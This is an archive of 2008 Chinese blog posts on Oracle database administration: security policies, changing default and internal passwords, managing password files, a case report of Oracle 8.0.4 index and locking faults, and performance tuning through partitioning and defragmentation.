·数据库管理者安全性策略:
(1) 保护作为sys和system用户的连接:
当数据库创建好以后,立即更改有管理权限的sys和system用户的密码,防止非法用户访问数据库。当作为sys和system用户连入数据库后,用户有强大的权限用各种方式对数据库进行改动。
(2) 保护管理者与数据库的连接:
应该只有数据库管理者能用管理权限连入数据库,当以sysdba或startup,shutdown,和recover或数据库对象(例如create,drop,和delete等)进行没有任何限制的操作。
(3) 使用角色对管理者权限进行管理
·应用程序开发者的安全性策略:
(1) 应用程序开发者和他们的权限数据库应用程序开发者是唯一一类需要特殊权限组完成自己工作的数据库用户。开发者需要诸如create table,create,procedure等系统权限,然而,为了限制开发者对数据库的操作,只应该把一些特定的系统权限授予开发者。
(2) 应用程序开发者的环境:
a 程序开发者不应与终端用户竞争数据库资源;
b 用程序开发者不能损害数据库其他应用产品。
(3) free和controlled应用程序开发应用程序开发者有一下两种权限:
a free development
应用程序开发者允许创建新的模式对象,包括table,index,procedure,package等,它允许应用程序开发者开发独立于其他对象的应用程序。
b controlled development
应用程序开发者不允许创建新的模式对象。所有需要table,indes procedure等都由数据库管理者创建,它保证了数据库管理者能完全控制数据空间的使用以及访问数据库信息的途径。但有时应用程序开发者也需这两种权限的混和。
(4) 应用程序开发者的角色和权限数据库安全性管理者能创建角色来管理典型的应用程序开发者的权限要求。
a create系统权限常常授予给应用程序开发者,以至于他们能创建他的数据对象。
b 数据对象角色几乎不会授予给应用程序开发者使用的角色。
(5) 加强应用程序开发者的空间限制作为数据库安全性管理者,您应该特别地为每个应用程序开发者设置以下的一些限制:
a 开发者可以创建table或index的表空间;
b 在每一个表空间中,开发者所拥有的空间份额。应用程序管理者的安全在有许多数据库应用程序的数据库系统中,您可能需要一应用程序管理者,应用程序管理者应负责起以下的任务:
a)为每一个应用程序创建角色以及管理每一个应用程序的角色;
b)创建和管理数据库应用程序使用的数据对象;
c)需要的话,维护和更新应用程序代码和oracle的存储过程和程序包。
我相信有了以上的这些建议,作为一个oracle的管理者绝对可以做好他本职的工作了。可是,我们再怎么努力,都始终得面对这样一个现实,那就是oracle毕竟是其他人开发的,而我们却在使用。所以,oracle到底有多少漏洞–我想这个不是你和我所能解决的。不过既然作为一篇讨论oracle数据安全的文章,我认为有必要把漏洞这一块也写进去,毕竟这也是“安全”必不可少的一部分。呵呵!
所以……
【oracle漏洞举例】:
·oracle9ias web cache远程拒绝服务攻击漏洞(2002-10-28)
·oracle 8.1.6的oidldapd中的漏洞
·oracle 9ias oraclejsp 泄漏jsp文件信息漏洞
·linux oracle 8.1.5漏洞
想必我没有理由再往下举了,因为读者肯定已经从其他有效的途径得到了关于oracle漏洞的最新情报。我这里就不再赘述了。
总而言之一句话–“oracle数据安全是一个博大而又精深的话题;如果你没有耐心,就永远不会得到它的精髓之所在。”

Posted in oracle数据库 | No Comments

如何修改internal的口令

五月 30th, 2008 by admin

  软件环境:
1、windows nt4.0+oracle 8.0.4
2、oracle安装路径为:c:\orant

实现方法:
用法:orapwd file= password= entries=

参数解释:
file - name of password file (mand),
password - password for sys and internal (mand),
entries - maximum number of distinct dba and opers (opt),
there are no spaces around the equal-to (=) character.

1、进入dos下

2、默认internal密码文件在c:\orant\database下,是隐藏属性,文件名称与数据库实例名有关

如默认oracle实例名为orcl,则internal密码文件名为pwdorcl.ora

3、建立新的internal密码文件,起个新名字为pwdora8.ora

orapwd80 file=pwdora8.ora password=b entries=5     –注:password项一定要用大写,并且不要用单引号

4、拷贝pwdora8.ora文件到c:\orant\database目录下

5、运行regedit,修改口令文件指向

6、找到hkey_local_machine\software\oracle项

定位ora_orcl_pwfile子项,改变其值为c:\orant\database\pwdora8.ora

7、关闭oracle数据库,重新启动

8、进入svrmgr30服务程序,测试internal密码是否更改成功

Posted in oracle数据库 | No Comments

oracle8的不安全因素及几点说明

五月 30th, 2008 by admin

  重庆市松藻矿山机械厂
尹珂
—- 作为对象关系型数据库的杰出代表,oracle无疑是最具实力的。无论是在数据库的规模,多媒体数据类型的支持,sql操作复制的并行性还是在安全服务方面,oracle均比sybase、informix强许多,加上其最新版本oracle8.0.4更是增强了这方面的特性,而且还引入了一些新的特性,比如:数据分区(data partitioning)、对象关系技术(object relational technology)、唯索引表(index only tables)、连接管理器(connection manager)[net8特性]、高级队列(advanced quening)等,所以有一种说法:oracle8是适用于如peoplesoft,sap和baan等封装式应用系统最好的数据库引擎。

—- 虽然oracle8有许多的优点,但正如微软的windows系统也会死机一样,任何再好的软件也有他的缺陷,一个优秀的软件不可能就是十全十美,他只是避免了大多数常见的或者可能被考虑到的问题,而一些不容易被发现却非常致命的问题往往会被疏忽掉。oracle8也同样存在着不安全的因素,许多正在想尽快升级到oracle8的oracle7.1、oracle7.2、oracle7.3用户不能不考虑到这个因素。当然,这个不安全因素并不是一下子就发现的,而是我们在对一个非常庞大的表进行管理时发现的,这种隐患在使用oracle创建的小型或者中型数据库中可能不会出现或根本无法发现,因为oracle8独有的特性已经将这种隐患降低到最低的程度,你大可放心你的数据库系统的安全。

 

  问题 
—- 我们安装的oracle8数据库是工作于主机-终端方式下的,系统主机采用的是四台hp-9000小型机、1.5g的内存。建库初期时设定的最大事务数是按oracle8的默认取值[这也是oracle7的默认取值]取的:块值为2k,事务数为32(对于一个要处理非常庞大的数据库时,一般我们设定的块值要大于2k,至少应为4k或者16k,当然这还与主机的cpu能力和i/0能力值有关),并在建库时没有进行分区建表,这也许就为以后数据库出问题留下了隐患。由于日访问数据库的用户非常多,而且对同一表操作的用户数量太大,致使那个表经常被锁住,不断有用户抱怨他们进不了系统,主机发送的数据包太慢,经常报ora-600的错误。起初我们以为是系统网络问题,但这种可能性比较小,因为我们发现系统cpu峰值经常在90%多,空闲很小,数据库资源太忙,同时有十多个人锁住一个大表进行操作,自然一部分用户就无法进入系统,对此我们写了如下的sql语句对锁表用户进行监控:
select object_id,session_id,serial#,
oracle_usename,os_user_name,s_process
from v$locked_object 1,
v$session s where 1.session_id=s.sid;

—- 也许有的人会问为什么不用如下的sql语句进行查询:
select a.username,a.sid,a.serial#,b.id1,
c.sql_text from v$session a,
v$lock b,v$sqltext c where a.lockwait=b.kaddr and
a. sql_address=c.address and a.sql_hash_value=c.hash_value;

—- 以上两个sql语句都会查询返回当前被锁住的用户列表,但第二个sql语句由于加入了sql_text从而使这个查询变得非常的慢长,特别是在有许多用户同时对数据库进行操作时,建议不用,第一个sql 语句会在很短的时间内查询出是谁在锁表,从而有利于对数据库的管理,一但有用户进入不了,我们就马上杀死其锁进程[sid,serial#],sql语句如下:alter system kill session ‘sid,serial#’,但这并不是解决问题的根本方法,只能暂时缓解一下;另外我们还发现回滚段时常有“online”与“offline”的现象,于是我们又考虑是否是回滚段引起的问题:因为我们一但对大的回滚段进行操作,马上就会有用户反映无法进入。我们知道回退段的大小直接依赖于数据库的活动状态,而每一个extents都应具有相同的值(oracle的推荐)[initial extents的值可以从2k(32)、4k(69)、8k(142)、16k、32k等列表中选择],这将保证你删掉一个区的时候,你可以重新使用它的空间而不会造成浪费,另外minextents应设为20,这将不会使回退段扩展另一个extent时用到正在被活动的事务所使用的空间,因而我们就可以据此来确定回退段大小,查出数据库正常运行时所需回滚段的尺寸,为此我们重新设置了回退段的optimal参数[事实是optimal的值并不足引起数据库出错],增大了optimal的值,使用命令set transaction use rollback segment为系统指定了一个大的回退段[注意optimal参数要足够大以使oracle不需经常回缩和重新分配extents,如果设得小于最小覆盖值,性能将由于额外的段重设置而下降,对于一个要执行长查询的系统,optimal应设成足够大以避免ora-1555,“smapshot too old”的错误,而对于运行小的事务,optimal应设得小一些,使回退段足够小以便放于内存中,这将提高系统性能。],但我们发现这样做后,ora-600的错误依然出现,而且锁表越来越严重;我们又考虑暂时锁住这个表,不让用户进入,先把用户的锁进程全部杀完再看,由于一开始就采用了主机-终端的工作方式,因而根本就无法清除得完,除非断掉外部的所有网络连接,但那样无疑是重启数据库,最终我们选择了重启数据库。

 

  —- 重启数据库后系统资源一下子得以释放,用户明显感觉速度上来了,能够保证正常使用,就在我们认为系统可能是因为长期没有down机,用户登录数过多造成数据库死锁的时候,一个非常严重的问题出现了,那个表中的一个数据无法进行update,一update就报oracle内部代码错误,当时我们并没在意,但是不久,我们又发现另一表中编号有重复的现象,根据oracle8的数据唯索引表性,这种现象应该根本不会存在,因为我们在这个表中只建立了唯一索引,于是我们电话询问oracle公司的技术工程师,也许oracle的技术工程师们也是第一次遇到这种问题,他们的回答是数据字典太老,数据索引坏掉,建议重建索引,并把问题向亚太反映。在oracle公司的技术工程师的指导下,我们重建了该表,并重新建立了索引,在重建索引过程中,开始几次都不成功,而且无法drop掉先前的表,经过仔细的查找,我们发现oracle8中的确有索引重复的现象,一个表中有两条重复的索引,直接导致数据库hang,不能访问,但查看系统状态、进程、listener却都正常,从日志文件来看,文件过小(7mb),check point频繁,影响到了系统的性能,通过以上调整后,数据库问题暂时缓解了,可以做update,但是oracle的内部代码错误却依然存在,只是暂时还不会影响到我们对数据库的使用,而回滚段开始出现“online rollback segment”的问题,更加令人不解的是数据库居然出现了自动down机的现象,于是我们再次询问oracle公司的技术工程师,他们的答复是oracle已经注意到了oracle8.0.4版本的一些问题,他们将会给数据库打patch,希望能够解决到这些问题,但是考虑到给数据库打一个patch,将会把所有的数据都要export出来,这将是一个非常危险的操作,而且所有主机上的程序都要重新编译一到,没有一个星期的时间是无法做好的,而那是根本不可能的事情,因而我们现在还在等待oracle公司一个更好的解决办法。

 

  说明 
—- 以上问题可能是oracle的一个bug,但任何软件都有它不完善的一面,否则又何必出什么补丁了,有了补丁肯定会比没有补丁强,但是我们在设计一个系统时也一定要考虑到以下的一些方面:
—- 1、 主机系统的cpu能力与i/0能力:hp偏重于i/0能力,cpu能力不强,你的数据库就应该尽量避免让cpu占用率太大;dec偏重于cpu能力,i/0能力不强,你的数据库就可以考虑适当增大某些占用cpu参数的设置;sun的cpu能力与i/0能力差不多,你的数据库就应该考虑平衡参数,过大过小都不好。

—- 2、 增大日志文件的size,至少一会低于8mb,日志文件过小会导致check point频繁,从而影响到系统的性能。

—- 3、 回滚段最好保持一个比较合理的值,对一些较大的回滚段可适当增加minextents,并设置optimal,保证一般事物处理无需经常动态分配空间与及时回收空间。

—- 4、 要充分利用cpu系统资源及提高cpu的命中率,可适当增大log_simultaneous_copies,db_block_latches,db_writes的设置。

—- 5、 适当增加db_block_buffer与share_poll_size的size,以提高buffer值,增加内存,尽快提高buff及sql的命中率。

—- 6、 主机-终端方式尽管可以便于数据维持,但主机-终端方式却造成主机负荷太重,建议采用客户-服务端方式建系统。

Posted in oracle数据库 | No Comments

保持oracle数据库优良性能的若干诀窍

五月 30th, 2008 by admin

  如今,oracle数据库以其高可靠性、安全性、可兼容性,得到越来越多的企业的青睐。如何使oracle数据库保持永久的优良性能,读者不妨针对以下若干方面加以考虑。

 分区 
根据实际经验所得,在一个大数据库中,数据库空间的绝大多数是被少量的表所占有。如何简化大数据库和管理,如何改善应用的查询性能,一般可以使用分区这种手段。所谓分区就是动态地将表中记录分离到若干不同的表空间上,使数据在物理上被分割开来,便于维护、备份、恢复、事务及查询性能。当使用的时候可建立一个连接所有分区的视图,使其在逻辑上仍以一个整体出现。

 

  1、建立分区表 
create table employee (
empno varchar2(10) primary key,
name varchar2(30),
deptno number(2)
)
partition by range(deptno)
(
partition part1 values less than (11)
tablespace part1_ts,
partition part2 values less than (21)
tablespace part2_ts,
partition part3 values less than (31)
tablespace part3_ts
partition part4 values less than (maxvalue)
tablespace part4_ts
);
表employee依据deptno列进行分区。

 

  2、分区索引 
create index employee_deptno on employee(deptno)
local (
partition part1 tablespace part1_ndx_ts,
partition part2 tablespace part2_ndx_ts,
partition part3 tablespace part3_ndx_ts,
partition part4 tablespace part4_ndx_ts,
);
当分区中出现许多事务并且要保证所有分区中的数据记录的唯一性时采用全局索引,如:
create index employee_deptno on employee(deptno)
global partition by range (deptno)
(
partition part1 values less than (11)
tablespace part1_ndx_ts,
partition part2 values less than (21)
tablespace part2_ndx_ts,
partition part3 values less than (31)
tablespace part3_ndx_ts
partition part4 values less than (maxvalue)
tablespace part4_ndx_ts
);
在建立全局索引时,global子句允许指定索引的范围值,这个范围值可以不同于表分区的范围值。只有建立局部索引才会使索引索引分区与表分区间建立起一一对应关系。因此,在大多数情况下,应该使用局部索引分区。若使用了此索引,分区就能够很容易地将索引分区与表分区建立关联,局部索引比全局索引更易于管理。

 

  3、分区管理 
根据实际需要,还可以使用 alter table 命令来增加、丢弃、交换、移动、修改、重命名、划分、截短一个已存在分区的结构。

rebuild indexes
如果表中记录频繁的被删除或插入,尽管表中的记录总量保持不变,索引空间的使用量会不断增加。虽然记录从索引中被删除,但是该记录索引项的使用空间不能被重新使用。因此,如果表变化不定,索引空间量会不断增加,不管表中记录数量是否增加——只仅仅是因为索引中无效空间量的增加。
要回收那些曾被删除记录使用的空间,需要使用alter index rebuild 命令。可以做一个定期运行的批处理程序,来重建最活动表的索引。这个批处理程序可以在空闲时运行,以避免程序与用户冲突。若能坚持索引的这一程序规划,便可以及时回收那些未使用空间,提高空间利用率。

段的碎片整理 
当生成一个数据库对象时(一个表或一个索引),通过用户缺省值或指定值来为它指定表空间。一个在表空间中所生成的段,用于存储对象的相关数据。在段被关闭、收缩、截断之前,段所分配的空间将不被释放。
一个段是由范围组成,而范围是由相邻的oracle块组成。一旦存在的范围不能再存储新的数据,那这个段就会去获得新的范围,且并不要求这些范围是彼此相邻的。这样的扩展会一直继续下去,直到表空间中的数据文件不能提供更多的自由空间,或者范围数量已达到极限。
因此,一个碎片太多的数据段,不仅会影响运行,也会引发表空间中的空间管理问题。所以,每个数据段只含有一个范围是十分有益的。借助监控系统,可以通过检查dba_segments数据字典视图来了解哪些数据库对象含有10个或更多范围的段,确定其数据段碎片。
若一个段的碎片过多,可用两种方法解决这个问题:
1、用正确的存储参数建立一个新表,将旧表中的数据插入到新表中,再删除旧表;
2、利用export/import工具。
如:exp system/manager file=exp.dmp compress=y grants=y indexes=y tables=(t1,t2)
若输出成功,进入oracle,删除上述表。
注:compress=y决定将在输出过程中修改它们的存储参数。
imp system/manager file=exp.dmp commit=y buffer=64000 full=y
注:在输入时重新配置新的存储参数。

自由范围的碎片整理 
表空间中的一个自由范围是表空间中相连自由(空间)块的集合。当一个段关闭时,它的范围将被释放,并被标记为自由范围。然而,这些自由范围再也不能与相邻的自由范围合并,它们之间的界线始终存在。但是当表空间的缺省值pctincrease设置不为0时,smon后台进会定期的将这些相邻的自由范围合并。若pctincrease设置为0,那相邻自由范围不会被数据库自动合并。但可以使用altertable命令coalesce选项,来强迫进行相邻自由范围的合并。
不进行自由范围合并,在日后的空间请求中,会影响到表空间中的空间分配。当需要一个足够大的范围时,数据库并不会合并相邻的自由范围,除非没有其他选择。这样,当表空间中前面较小自由范围已被相关使用时,将使用表空间中后面部分最大的一个自由范围。结果,会因为它们没有足够多的使用空间,从而导致表空间中速度上的矛盾。由于这样的进程出现,使数据库的空间分配距理想越来越远。自由空间碎片常会出现在那些经常关闭又重新生成的数据库表和索引中。
在理想的oracle表空间中,每一个数据库对象存储在一个单独的范围中,并且所有有效自由空间集中在一个巨大而连续的范围中。这样,在一个对象需要附加存储空间时,可以在增加获取足够大自由空间的可能性同时,最小化空间中的循环调用,提高自由空间使用率。

Posted in oracle数据库 | No Comments

一个容易忽视的oracle安全问题

五月 30th, 2008 by admin

数据库安全问题一直是人们关注的焦点之一,我们知道一个企业或者机构的数据库如果遭到黑客的攻击,而这些数据库又保存着非常重要的数据,象银行、通信等数据库,后果将不堪设想。oracle数据库使用了多种手段来保证数据库的安全性,如密码,角色,权限等等。

作为oracle的数据库管理员都知道,数据库系统典型安装后,一般sys和system以及internal这三个用户具有默认的口令,数据库安装成功后,系统管理员作的第一件工作就是修改这些用户的口令,保证数据库的安全性。然而,众多管理员往往忽视了其中的一个安全问题,下面我们就将详细讨论这个问题。

oracle数据库系统如果采用典型安装后,除了创建前面介绍的几个用户外,另外还自动创建了一个叫做dbsnmp的用户,该用户负责运行oracle系统的智能代理(intelligent agent),该用户的缺省密码也是“dbsnmp”。如果忘记修改该用户的口令,任何人都可以通过该用户存取数据库系统。现在我们来看一下该用户具有哪些权限和角色,然后来分析一下该用户对数据库系统可能造成的损失。

启动sql/plus程序,使用该用户登录进入:

sql> select * from session_privs;
create session
alter session
unlimited tablespace
create table
create cluster
create synonym
create public synonym
create view
create sequence
create database link
create procedure
create trigger
analyze any
create type
create operator
create indextype
可以看到该用户不是sys或system管理用户,然而,它却具有两个系统级权限:unlimited tablespace和create public synonym。

看到这两个权限你应该马上想到,这些都是安全隐患,尤其是unlimited tablespace,它是破坏数据库系统的攻击点之一。如果这时候你还依然认为,即使有人利用这个没有修改的口令登录进数据库也造成不了什么损失的话,我就不得不提醒你:该用户具有unlimited tablespace的系统权限,它可以写一个小的脚本,然后恶意将系统用垃圾数据填满,这样数据库系统也就无法运行,并将直接导致最终的瘫痪。目前很多数据库系统都要求7×24的工作,如果出现了系统用垃圾数据填满的情况,那么,等数据库系统恢复时,恐怕不可挽回的损失已经造成了。

为了保证oracle数据库系统运行的绝对安全,强烈建议数据库管理员修改该用户的默认口令,不要为不怀好意的人留下“方便之门”。

Posted in oracle数据库 | No Comments

oracle数据库密码文件的使用和维护

五月 30th, 2008 by admin

     概要:oracle关系数据库系统以其卓越的性能获得了广泛的应用,而保证数据库的安全性是数据库管理工作的重要内容。本文是笔者在总结oracle数据库安全管理工作的基础上,对oracle数据库系统密码文件的创建、使用和维护作了详细的介绍,供大家参考。

关键词:oracle数据库 密码文件

在oracle数据库系统中,用户如果要以特权用户身份(internal/sysdba/sysoper)登录oracle数据库可以有两种身份验证的方法:即使用与操作系统集成的身份验证或使用oracle数据库的密码文件进行身份验证。因此,管理好密码文件,对于控制授权用户从远端或本机登录oracle数据库系统,执行数据库管理工作,具有重要的意义。

oracle数据库的密码文件存放有超级用户internal/sys的口令及其他特权用户的用户名/口令,它一般存放在oracle_home\database目录下。

一、 密码文件的创建:

在使用oracle instance manager创建一数据库实例的时侯,在oracle_home\database目录下还自动创建了一个与之对应的密码文件,文件名为pwdsid.ora,其中sid代表相应的oracle数据库系统标识符。此密码文件是进行初始数据库管理工作的基础。在此之后,管理员也可以根据需要,使用工具orapwd.exe手工创建密码文件,命令格式如下:

c:\ >orapwd file=< filename > password =< password > entries=< max_users >

各命令参数的含义为:

—- filename:密码文件名;

—- password:设置internal/sys帐号的口令;

—- max_users:密码文件中可以存放的最大用户数,对应于允许以sysdba/sysoper权限登录数据库的最大用户数。由于在以后的维护中,若用户数超出了此限制,则需要重建密码文件,所以此参数可以根据需要设置得大一些。

有了密码文件之后,需要设置初始化参数remote_login_passwordfile来控制密码文件的使用状态。

二、 设置初始化参数remote_login_passwordfile:

在oracle数据库实例的初始化参数文件中,此参数控制着密码文件的使用及其状态。它可以有以下几个选项:

none:指示oracle系统不使用密码文件,特权用户的登录通过操作系统进行身份验证;

exclusive:指示只有一个数据库实例可以使用此密码文件。只有在此设置下的密码文件可以包含有除internal/sys以外的用户信息,即允许将系统权限sysoper/sysdba授予除internal/sys以外的其他用户。

shared:指示可有多个数据库实例可以使用此密码文件。在此设置下只有internal/sys帐号能被密码文件识别,即使文件中存有其他用户的信息,也不允许他们以sysoper/sysdba的权限登录。此设置为缺省值。

在remote_login_passwordfile参数设置为exclusive、shared情况下,oracle系统搜索密码文件的次序为:在系统注册库中查找ora_sid_pwfile参数值(它为密码文件的全路径名);若未找到,则查找ora_pwfile参数值;若仍未找到,则使用缺省值oracle_home\database\pwdsid.ora;其中的sid代表相应的oracle数据库系统标识符。

三、 向密码文件中增加、删除用户:

当初始化参数remote_login_passwordfile设置为exclusive时,系统允许除internal/sys以外的其他用户以管理员身份从远端或本机登录到oracle数据库系统,执行数据库管理工作;这些用户名必须存在于密码文件中,系统才能识别他们。由于不管是在创建数据库实例时自动创建的密码文件,还是使用工具orapwd.exe手工创建的密码文件,都只包含internal/sys用户的信息;为此,在实际操作中,可能需要向密码文件添加或删除其他用户帐号。

由于仅被授予sysoper/sysdba系统权限的用户才存在于密码文件中,所以当向某一用户授予或收回sysoper/sysdba系统权限时,他们的帐号也将相应地被加入到密码文件或从密码文件中删除。由此,向密码文件中增加或删除某一用户,实际上也就是对某一用户授予或收回sysoper/sysdba系统权限。

要进行此项授权操作,需使用sysdba权限(或internal帐号)连入数据库,且初始化参数remote_login_passwordfile的设置必须为exclusive。具体操作步骤如下:

创建相应的密码文件;

设置初始化参数remote_login_passwordfile=exclusive;

使用sysdba权限登录: connect sys/internal_user_passsword as sysdba;

启动数据库实例并打开数据库;

创建相应用户帐号,对其授权(包括sysoper和sysdba): 授予权限:grant sysdba to user_name;

收回权限:revoke sysdba from user_name;

现在这些用户可以以管理员身份登录数据库系统了;

四、 使用密码文件登录:

有了密码文件后,用户就可以使用密码文件以sysoper/sysdba权限登录oracle数据库实例了,注意初始化参数remote_login_passwordfile应设置为exclusive或shared。任何用户以sysoper/sysdba的权限登录后,将位于sys用户的schema之下,以下为两个登录的例子:

1. 以管理员身份登录:

假设用户scott已被授予sysdba权限,则他可以使用以下命令登录:

connect scott/tiger as sysdba

2. 以internal身份登录:

connect internal/internal_password

五、 密码文件的维护:

1. 查看密码文件中的成员:

可以通过查询视图v$pwfile_users来获取拥有sysoper/sysdba系统权限的用户的信息,表中sysoper/sysdba列的取值true/false表示此用户是否拥有相应的权限。这些用户也就是相应地存在于密码文件中的成员。

2. 扩展密码文件的用户数量:

当向密码文件添加的帐号数目超过创建密码文件时所定的限制(即orapwd.exe工具的max_users参数)时,为扩展密码文件的用户数限制,需重建密码文件,具体步骤如下:

a) 查询视图v$pwfile_users,记录下拥有sysoper/sysdba系统权限的用户信息;

b) 关闭数据库;

c) 删除密码文件;

d) 用orapwd.exe新建一密码文件;

e) 将步骤a中获取的用户添加到密码文件中。

3. 修改密码文件的状态:

密码文件的状态信息存放于此文件中,当它被创建时,它的缺省状态为shared。可以通过改变初始化参数remote_login_passwordfile的设置改变密码文件的状态。当启动数据库事例时,oracle系统从初始化参数文件中读取remote_login_passwordfile参数的设置;当加载数据库时,系统将此参数与口令文件的状态进行比较,如果不同,则更新密码文件的状态。若计划允许从多台客户机上启动数据库实例,由于各客户机上必须有初始化参数文件,所以应确保各客户机上的初始化参数文件的一致性,以避免意外地改变了密码文件的状态,造成数据库登陆的失败。

4. 修改密码文件的存储位置:

密码文件的存放位置可以根据需要进行移动,但作此修改后,应相应修改系统注册库有关指向密码文件存放位置的参数或环境变量的设置。

5. 删除密码文件:

在删除密码文件前,应确保当前运行的各数据库实例的初始化参数remote_login_passwordfile皆设置为none。在删除密码文件后,若想要以管理员身份连入数据库的话,则必须使用操作系统验证的方法进行登录。

 

Posted in oracle数据库 | No Comments

oracle数据库安全性策略

五月 30th, 2008 by admin

数据库安全性问题一直是围绕着数据库管理员的恶梦,数据库数据的丢失
以及数据库被非法用户的侵入使得数据库管理员身心疲惫不堪。本文围绕数据
库的安全性问题提出了一些安全性策略,希望对数据库管理员有所帮助,不再
夜夜恶梦。数据库安全性问题应包括两个部分:

一、数据库数据的安全
它应能确保当数据库系统downtime时,当数据库数据存储媒体被破
坏时以及当数据库用户误操作时,数据库数据信息不至于丢失。

二、数据库系统不被非法用户侵入
它应尽可能地堵住潜在的各种漏洞,防止非法用户利用它们侵入数据
库系统。

对于数据库数据的安全问题,数据库管理员可以参考有关系统双机
热备份功能以及数据库的备份和恢复的资料。

以下就数据库系统不被非法用户侵入这个问题作进一步的阐述。
组和安全性:
在操作系统下建立用户组也是保证数据库安全性的一种有效方法。
oracle程序为了安全性目的一般分为两类:一类所有的用户都可执行,
另一类只dba可执行。在unix环境下组设置的配置文件是/etc/group,
关于这个文件如何配置,请参阅unix的有关手册,以下是保证安全性的
几种方法:
(1) 在安装oracle server前,创建数据库管理员组(dba)而且
分配root和oracle软件拥有者的用户id给这个组。dba能执
行的程序只有710权限。在安装过程中sql*dba系统权限命令
被自动分配给dba组。
(2) 允许一部分unix用户有限制地访问oracle服务器系统,增加
一个由授权用户组的oracle组,确保给oracle服务器实用例
程oracle组id,公用的可执行程序,比如sql*plus,sql*fo
rms等,应该可被这组执行,然后该这个实用例程的权限为
710,它将允许同组的用户执行,而其他用户不能。
(3) 改那些不会影响数据库安全性的程序的权限为711。
注:在我们的系统中为了安装和调试的方便,oracle数据库中
的两个具有dba权限的用户sys和system的缺省密码是manager。
为了您数据库系统的安全,我们强烈建议您该掉这两个用户的
密码,具体操作如下:
在sql*dba下键入:
alter user sys indentified by password;
alter user system indentified by password;
其中password为您为用户设置的密码。

oracle服务器实用例程的安全性:
以下是保护oracle服务器不被非法用户使用的几条建议:
(1) 确保$oracle_home/bin目录下的所有程序的拥有权归oracle
软件拥有者所有;
(2) 给所有用户实用便程(sqiplus,sqiforms,exp,imp等)711权
限,使服务器上所有的用户都可访问oracle服务器;
(3) 给所有的dba实用例程(比如sql*dba)700权限。oracle服务器
和unix组当访问本地的服务器时,您可以通过在操作系统下把
oracle服务器的角色映射到unix的组的方式来使用unix管理服
务器的安全性,这种方法适应于本地访问。
在unix中指定oracle服务器角色的格式如下:
ora_sid_role[_dla]
其中
sid 是您oracle数据库的oracle_sid;
role 是oracle服务器中角色的名字;
d (可选)表示这个角色是缺省值;
a (可选)表示这个角色带有with admin选项,
您只可以把这个角色授予其他角色,不能是其他用户。
以下是在/etc/group文件中设置的例子:
ora_test_osoper_d:none:1:jim,narry,scott
ora_test_osdba_a:none:3:pat
ora_test_role1:none:4:bob,jane,tom,mary,jim
bin: none:5:root,oracle,dba
root:none:7:root
词组“ora_test_osoper_d”表示组的名字;词组“none”表示这
个组的密码;数字1表示这个组的id;接下来的是这个组的成员。前两
行是oracle服务器角色的例子,使用test作为sid,osoper和osdba作
为oracle服务器角色的名字。osoper是分配给用户的缺省角色,osdba
带有with admin选项。为了使这些数据库角色起作用,您必须shutdown
您的数据库系统,设置oracle数据库参数文件initoracle_sid.ora中
os_roles参数为true,然后重新启动您的数据库。如果您想让这些角色
有connect internal权限,运行orapwd为这些角色设置密码。当您尝
试connect internal时,您键入的密码表示了角色所对应的权限。

sql*dba命令的安全性:
如果您没有sql*plus应用程序,您也可以使用sql*dba作sql查权
限相关的命令只能分配给oracle软件拥有者和dba组的用户,因为这些
命令被授予了特殊的系统权限。
(1) startup
(2) shutdown
(3) connect internal

数据库文件的安全性:
oracle软件的拥有者应该这些数据库文件
($oracle_home/dbs/*.dbf)设置这些文件的使用权限为0600:文件的
拥有者可读可写,同组的和其他组的用户没有写的权限。
oracle软件的拥有者应该拥有包含数据库文件的目录,为了增加
安全性,建议收回同组和其他组用户对这些文件的可读权限。

网络安全性:
当处理网络安全性时,以下是额外要考虑的几个问题。
(1) 在网络上使用密码
在网上的远端用户可以通过加密或不加密方式键入密码,
当您用不加密方式键入密码时,您的密码很有可能被非法用
户截获,导致破坏了系统的安全性。
(2) 网络上的dba权限控制
您可以通过下列两种方式对网络上的dba权限进行控制:
a 设置成拒绝远程dba访问;
b 通过orapwd给dba设置特殊的密码。

建立安全性策略:

系统安全性策略
(1) 管理数据库用户
数据库用户是访问oracle数据库信息的途径,因此,
应该很好地维护管理数据库用户的安全性。按照数据库系统
的大小和管理数据库用户所需的工作量,数据库安全性管理
者可能只是拥有create,alter,或drop数据库用户的一个
特殊用户,或者是拥有这些权限的一组用户,应注意的是,只
有那些值得信任的个人才应该有管理数据库用户的权限。
(2) 用户身份确认
数据库用户可以通过操作系统,网络服务,或数据库进行
身份确认,通过主机操作系统进行用户身份认证的优点有:
a 用户能更快,更方便地联入数据库;
b 通过操作系统对用户身份确认进行集中控制:如果操作
系统与数据库用户信息一致,那么oracle无须存储和管
理用户名以及密码;
c 用户进入数据库和操作系统审计信息一致。
(3) 操作系统安全性
a 数据库管理员必须有create和delete文件的操作系统权限;
b 一般数据库用户不应该有create或delete与数据库相关文
件的操作系统权限;
c 如果操作系统能为数据库用户分配角色,那么安全性管理者
必须有修改操作系统帐户安全性区域的操作系统权限。

数据的安全性策略:
数据的生考虑应基于数据的重要性。如果数据不是很重要,那么数
据的安全性策略可以稍稍放松一些。然而,如果数据很重要,那么应该
有一谨慎的安全性策略,用它来维护对数据对象访问的有效控制。

用户安全性策略:
(1) 一般用户的安全性
a 密码的安全性
如果用户是通过数据库进行用户身份的确认,那么建议
使用密码加密的方式与数据库进行连接。这种方式的设置方
法如下:
在客户端的oracle.ini文件中设置
ora_encrypt_login数为true;
在服务器端的initoracle_sid.ora文件中设置
dbling_encypt_login参数为true。
b 权限管理
对于那些用户很多,应用程序和数据对象很丰富的数据
库,应充分利用“角色”这个机制所带的方便性对权限进行
有效管理。对于复杂的系统环境,“角色”能大大地简化权
限的管理。
(2) 终端用户的安全性
您必须针对终端用户制定安全性策略。例如,对于一个有
很多用户的大规模数据库,安全性管理者可以决定用户组分类,

为这些用户组创建用户角色,把所需的权限和应用程序角色授
予每一个用户角色,以及为用户分配相应的用户角色。当处理
特殊的应用要求时,安全性管理者也必须明确地把一些特定的
权限要求授予给用户。您可以使用“角色”对终端用户进行权
限管理。

数据库管理者安全性策略:
(1) 保护作为sys和system用户的连接
当数据库创建好以后,立即更改有管理权限的sys和system用
户的密码,防止非法用户访问数据库。当作为sys和system用户
连入数据库后,用户有强大的权限用各种方式对数据库进行改动。
(2) 保护管理者与数据库的连接
应该只有数据库管理者能用管理权限连入数据库,当以sysdba
或startup,shutdown,和recover或数据库对象(例如create,
drop,和delete等)进行没有任何限制的操作。
(3) 使用角色对管理者权限进行管理

应用程序开发者的安全性策略:
(1) 应用程序开发者和他们的权限
数据库应用程序开发者是唯一一类需要特殊权限组完成自己
工作的数据库用户。开发者需要诸如create table,create
procedure等系统权限,然而,为了限制开发者对数据库的操作,
